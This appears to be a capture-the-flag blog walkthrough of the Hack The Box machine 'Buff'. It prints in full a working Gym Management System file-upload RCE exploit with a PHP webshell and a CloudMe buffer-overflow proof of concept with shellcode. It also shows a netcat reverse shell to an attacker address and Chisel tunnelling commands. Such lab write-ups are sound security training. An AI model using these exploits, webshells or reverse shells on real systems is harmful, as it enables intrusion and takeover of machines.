CTF Walkthroughs, Hack The Box

Hack The Box – Buff Walkthrough

July 15, 2021 | by Stefano Lanaro | Leave a comment

Introduction

This was an easy Windows machine that involved exploiting an unauthenticated remote code execution vulnerability through file upload bypass affecting Gym Management System to gain initial access and a buffer overflow vulnerability in the CloudMe software to escalate privileges to Administrator.

Enumeration

The first thing to do is to run a TCP Nmap scan against the 1000 most common ports, and using the following flags:

  • -sC to run default scripts
  • -sV to enumerate applications versions
  • -Pn to skip the host discovery phase, as some hosts will not respond to ping requests

The scan has identified port 8080 (HTTP) as an open port, so the next step will be to start enumerating this service.

Enumerating HTTP

The following page is displayed when accessing the web server through a browser:

The site has a mention of a gym/fitness related system, searching for known vulnerabilities using SearchSploit:

There appears to be a vulnerability affecting Gym Management System, which is advertised as an easy way to use gym and health gym membership systems and can helps to keep records of members and their memberships, and give permit communication between members.

Mirroring the exploit:

The exploit describes quite well the vulnerability, but basically code execution is possible due to executable upload by bypassing the whitelist rules set in place (which only seem to check for Content-Type):

# Exploit Title: Gym Management System 1.0 - Unauthenticated Remote Code Execution
# Exploit Author: Bobby Cooke
# Date: 2020-05-21
# Vendor Homepage: https://projectworlds.in/
# Software Link: https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
# Exploit Tested Using: Python 2.7.17
# Vulnerability Description: 
#   Gym Management System version 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters.
# Exploit Details:
#   1. Access the '/upload.php' page, as it does not check for an authenticated user session.
#   2. Set the 'id' parameter of the GET request to the desired file name for the uploaded PHP file.
#     - `upload.php?id=kamehameha`
#     /upload.php:
#        4 $user = $_GET['id'];
#       34       move_uploaded_file($_FILES["file"]["tmp_name"],
#       35       "upload/". $user.".".$ext);
#   3. Bypass the extension whitelist by adding a double extension, with the last one as an acceptable extension (png).
#     /upload.php:
#        5 $allowedExts = array("jpg", "jpeg", "gif", "png","JPG");
#        6 $extension = @end(explode(".", $_FILES["file"]["name"]));
#       14 && in_array($extension, $allowedExts))
#   4. Bypass the file type check by modifying the 'Content-Type' of the 'file' parameter to 'image/png' in the POST request, and set the 'pupload' paramter to 'upload'.
#        7 if(isset($_POST['pupload'])){
#        8 if ((($_FILES["file"]["type"] == "image/gif")
#       11 || ($_FILES["file"]["type"] == "image/png")
#   5. In the body of the 'file' parameter of the POST request, insert the malicious PHP code:
#       <?php echo shell_exec($_GET["telepathy"]); ?>
#   6. The Web Application will rename the file to have the extension with the second item in an array created from the file name; seperated by the '.' character.
#       30           $pic=$_FILES["file"]["name"];
#       31             $conv=explode(".",$pic);
#       32             $ext=$conv['1'];
#   - Our uploaded file name was 'kaio-ken.php.png'. Therefor $conv['0']='kaio-ken'; $conv['1']='php'; $conv['2']='png'; 
#   7. Communicate with the webshell at '/upload.php?id=kamehameha' using GET Requests with the telepathy parameter.

import requests, sys, urllib, re
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def webshell(SERVER_URL, session):
    try:
        WEB_SHELL = SERVER_URL+'upload/kamehameha.php'
        getdir  = {'telepathy': 'echo %CD%'}
        r2 = session.get(WEB_SHELL, params=getdir, verify=False)
        status = r2.status_code
        if status != 200:
            print Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL
            r2.raise_for_status()
        print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
        cwd = re.findall('[CDEF].*', r2.text)
        cwd = cwd[0]+"> "
        term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
        while True:
            thought = raw_input(term)
            command = {'telepathy': thought}
            r2 = requests.get(WEB_SHELL, params=command, verify=False)
            status = r2.status_code
            if status != 200:
                r2.raise_for_status()
            response2 = r2.text
            print(response2)
    except:
        print("\r\nExiting.")
        sys.exit(-1)

def formatHelp(STRING):
    return Style.BRIGHT+Fore.RED+STRING+Fore.RESET

def header():
    BL   = Style.BRIGHT+Fore.GREEN
    RS   = Style.RESET_ALL
    FR   = Fore.RESET
    SIG  = BL+'            /\\\n'+RS
    SIG += Fore.YELLOW+'/vvvvvvvvvvvv '+BL+'\\'+FR+'--------------------------------------,\n'
    SIG += Fore.YELLOW+'`^^^^^^^^^^^^'+BL+' /'+FR+'============'+Fore.RED+'BOKU'+FR+'====================="\n'
    SIG += BL+'            \/'+RS+'\n'
    return SIG

if __name__ == "__main__":
    print header();
    if len(sys.argv) != 2:
        print formatHelp("(+) Usage:\t python %s <WEBAPP_URL>" % sys.argv[0])
        print formatHelp("(+) Example:\t python %s 'https://10.0.0.3:443/gym/'" % sys.argv[0])
        sys.exit(-1)
    SERVER_URL = sys.argv[1]
    UPLOAD_DIR = 'upload.php?id=kamehameha'
    UPLOAD_URL = SERVER_URL + UPLOAD_DIR
    s = requests.Session()
    s.get(SERVER_URL, verify=False)
    PNG_magicBytes = '\x89\x50\x4e\x47\x0d\x0a\x1a'
    png     = {
                'file': 
                  (
                    'kaio-ken.php.png', 
                    PNG_magicBytes+'\n'+'<?php echo shell_exec($_GET["telepathy"]); ?>', 
                    'image/png', 
                    {'Content-Disposition': 'form-data'}
                  ) 
              }
    fdata   = {'pupload': 'upload'}
    r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)
    webshell(SERVER_URL, s)

Executing the exploit, providing the URL to the web application:

This has provided an interactive shell that allows to execute commands and view their output.

Transferring the Windows Netcat binary to the current working directory and setting up a Python Simple HTTP Server to host it:

Downloading the file using the Invoke-WebRequest CMDLet:

The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:

  • -l to listen for incoming connections
  • -v for verbose output
  • -n to skip the DNS lookup
  • -p to specify the port to listen on

Executing a Netcat reverse shell:

nc.exe -c cmd.exe 10.10.14.2 443

Privilege Escalation

Transferring the WinPEAS enumeration script to the target host using the Invoke-WebRequest CMDLet and the Python Simple HTTP Server:

Executing the script:

It appears that the host is listening for connections coming from localhost on port 8888:

When enumerating common files and directories, the system appears to contain a “Cloudme_1112.exe” file in the Downloads folder of the Shaun user:

This indicate the user might have installed version 11.2 or 1.12 of the CloudMe Software. CloudMe is a file storage service that offers cloud storage, file synchronization and client software.

Looking for known vulnerabilities in this version of CloudMe using SearchSploit:

Mirroring one of the exploits which is a Buffer Overflow proof of concept written in Python:

Upon inspection of the exploit code, it appears that only the shellcode needs to be updated:

# Exploit Title: CloudMe 1.11.2 - Buffer Overflow (PoC)
# Date: 2020-04-27
# Exploit Author: Andy Bowden
# Vendor Homepage: https://www.cloudme.com/en
# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Version: CloudMe 1.11.2
# Tested on: Windows 10 x86

#Instructions:
# Start the CloudMe service and run the script.

import socket

target = "127.0.0.1"

padding1   = b"\x90" * 1052
EIP        = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS       = b"\x90" * 30

#msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python
payload    = b"\xba\xad\x1e\x7c\x02\xdb\xcf\xd9\x74\x24\xf4\x5e\x33"
payload   += b"\xc9\xb1\x31\x83\xc6\x04\x31\x56\x0f\x03\x56\xa2\xfc"
payload   += b"\x89\xfe\x54\x82\x72\xff\xa4\xe3\xfb\x1a\x95\x23\x9f"
payload   += b"\x6f\x85\x93\xeb\x22\x29\x5f\xb9\xd6\xba\x2d\x16\xd8"
payload   += b"\x0b\x9b\x40\xd7\x8c\xb0\xb1\x76\x0e\xcb\xe5\x58\x2f"
payload   += b"\x04\xf8\x99\x68\x79\xf1\xc8\x21\xf5\xa4\xfc\x46\x43"
payload   += b"\x75\x76\x14\x45\xfd\x6b\xec\x64\x2c\x3a\x67\x3f\xee"
payload   += b"\xbc\xa4\x4b\xa7\xa6\xa9\x76\x71\x5c\x19\x0c\x80\xb4"
payload   += b"\x50\xed\x2f\xf9\x5d\x1c\x31\x3d\x59\xff\x44\x37\x9a"
payload   += b"\x82\x5e\x8c\xe1\x58\xea\x17\x41\x2a\x4c\xfc\x70\xff"
payload   += b"\x0b\x77\x7e\xb4\x58\xdf\x62\x4b\x8c\x6b\x9e\xc0\x33"
payload   += b"\xbc\x17\x92\x17\x18\x7c\x40\x39\x39\xd8\x27\x46\x59"
payload   += b"\x83\x98\xe2\x11\x29\xcc\x9e\x7b\x27\x13\x2c\x06\x05"
payload   += b"\x13\x2e\x09\x39\x7c\x1f\x82\xd6\xfb\xa0\x41\x93\xf4"
payload   += b"\xea\xc8\xb5\x9c\xb2\x98\x84\xc0\x44\x77\xca\xfc\xc6"
payload   += b"\x72\xb2\xfa\xd7\xf6\xb7\x47\x50\xea\xc5\xd8\x35\x0c"
payload   += b"\x7a\xd8\x1f\x6f\x1d\x4a\xc3\x5e\xb8\xea\x66\x9f"

overrun    = b"C" * (1500 - len(padding1 + NOPS + EIP + payload))	

buf = padding1 + EIP + NOPS + payload + overrun 

try:
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target,8888))
	s.send(buf)
except Exception as e:
	print(sys.exc_value)

The first step is to generate some shellcode using MSFvenom with the following flags:

  • -p to specify the payload type, in this case, the Windows Reverse TCP Shell
  • LHOST to specify the localhost IP address to connect to
  • LPORT to specify the local port to connect to
  • -b to specify the bad characters
  • -f to specify the format for the shell, in this case, python

Updating the script with the shellcode generated above:

Since port 8888 can only be reached locally, a tunnel will be required to be able to launch the exploit. Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH and it allows to easily create tunnels on both Windows and Linux through a single executable including both client and server.

Downloading both the Windows and Linux versions of Chisel:

Extracting the archives:

Transferring the Windows version of Chisel to the target host using the Invoke-WebRequest CMDLet and the Python Simple HTTP Server:

Executing Chisel on Kali to initiate the tunnel server on port 9001:

/chisel_1.7.1_linux_amd64 server --reverse --port 9001

Executing Chisel on the target host to connect to the server and therefore create the tunnel on port 8888 between the Kali host and the target host:

chisel.exe client 10.10.14.2:9001 R:8888:127.0.0.1:8888

Performing a quick Nmap scan on port 8888 to ensure it has been opened successfully

The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:

  • -l to listen for incoming connections
  • -v for verbose output
  • -n to skip the DNS lookup
  • -p to specify the port to listen on

Executing the exploit:

A callback on the listener was received, granting a reverse shell as the Administrator user.

Conclusion

This was a fairly straightforward machine, the only challenge was finding out that the web server used the Gym Management System software as it had a really common name and the tool itself isn’t very common so it threw off a lot of people. Once this was figured out the exploitation path was pretty linear and simple.